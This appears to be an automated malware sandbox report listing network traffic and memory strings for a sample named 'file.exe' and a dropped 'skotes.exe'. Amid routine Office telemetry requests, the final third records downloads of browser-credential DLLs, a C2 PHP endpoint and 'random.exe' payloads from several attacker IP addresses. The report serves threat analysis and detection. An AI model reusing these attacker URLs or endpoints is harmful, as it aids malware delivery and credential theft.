Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?CID=128000000001615609&region=CH&lang=EN-CH%2CEN-GB&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.19041.1023&mo=&cap=&EID=&&PID=426081542&UIT=M-&TargetID=1&AN=92150765&PG=PC000P0FR5.0000000IRU&REQASID=F20FE44A423742BABDCBFFE245380A62&UNID=338389&ASID=cb8d34b9e94f4f8b98ed463538ebf02d&&DS_EVTID=F20FE44A423742BABDCBFFE245380A62&DEVOSVER=10.0.19045.2006&REQT=20241123T230717&TIME=20241123T230740Z&ARCRAS=&CLR=CDM HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11

Source: 000003.log.13.dr	String found in binary or memory: "www.facebook.com": "{\"Tier1\": [1103, 6061], \"Tier2\": [5445, 1780, 8220]}", equals www.facebook.com (Facebook)
Source: 000003.log.13.dr	String found in binary or memory: "www.linkedin.com": "{\"Tier1\": [1103, 214, 6061], \"Tier2\": [2771, 9515, 1780, 1303, 1099, 6081, 5581, 9396]}", equals www.linkedin.com (Linkedin)
Source: 000003.log.13.dr	String found in binary or memory: "www.youtube.com": "{\"Tier1\": [983, 6061, 1103], \"Tier2\": [2413, 8118, 1720, 5007]}", equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4811Host: login.live.com

Source: file.exe, 00000001.00000002.2726149421.0000000000775000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2726149421.0000000000748000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000001.00000002.2726149421.0000000000748000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe~
Source: file.exe, 00000001.00000002.2726494046.0000000000C55000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000001.00000002.2726149421.00000000006EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000001.00000002.2726149421.0000000000748000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000001.00000002.2726149421.0000000000748000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/(
Source: file.exe, 00000001.00000002.2726149421.0000000000775000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000001.00000002.2726149421.0000000000775000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dllhJ
Source: file.exe, 00000001.00000002.2726149421.0000000000775000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000001.00000002.2726149421.0000000000748000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000001.00000002.2726149421.0000000000748000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dllP
Source: file.exe, 00000001.00000002.2726149421.0000000000775000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000001.00000002.2726149421.0000000000775000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll4J
Source: file.exe, 00000001.00000002.2726149421.0000000000748000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll2
Source: file.exe, 00000001.00000002.2726149421.0000000000748000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dllN
Source: file.exe, 00000001.00000002.2726149421.0000000000775000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000001.00000002.2726149421.0000000000775000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dllLJ
Source: file.exe, 00000001.00000002.2726149421.00000000006EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000001.00000002.2726149421.00000000006EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dlly
Source: file.exe, 00000001.00000002.2726149421.0000000000764000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000001.00000002.2726149421.0000000000764000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php-
Source: file.exe, 00000001.00000002.2769616265.0000000023384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php2
Source: file.exe, 00000001.00000002.2726149421.0000000000764000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php5
Source: file.exe, 00000001.00000002.2726149421.0000000000764000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpIc
Source: file.exe, 00000001.00000002.2726149421.0000000000764000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpQc
Source: file.exe, 00000001.00000002.2726494046.0000000000C55000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpion:
Source: file.exe, 00000001.00000002.2726149421.00000000006EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpsoft
Source: file.exe, 00000001.00000002.2726494046.0000000000C55000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206ngineer
Source: skotes.exe, 00000024.00000002.3467146110.0000000001324000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000024.00000002.3467146110.0000000001324000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpw
Source: skotes.exe, 00000024.00000002.3467146110.0000000001324000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe
Source: skotes.exe, 00000024.00000002.3467146110.0000000001324000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe50623847d
Source: skotes.exe, 00000024.00000002.3467146110.0000000001324000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe506238n
Source: skotes.exe, 00000024.00000002.3467146110.0000000001324000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe:
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
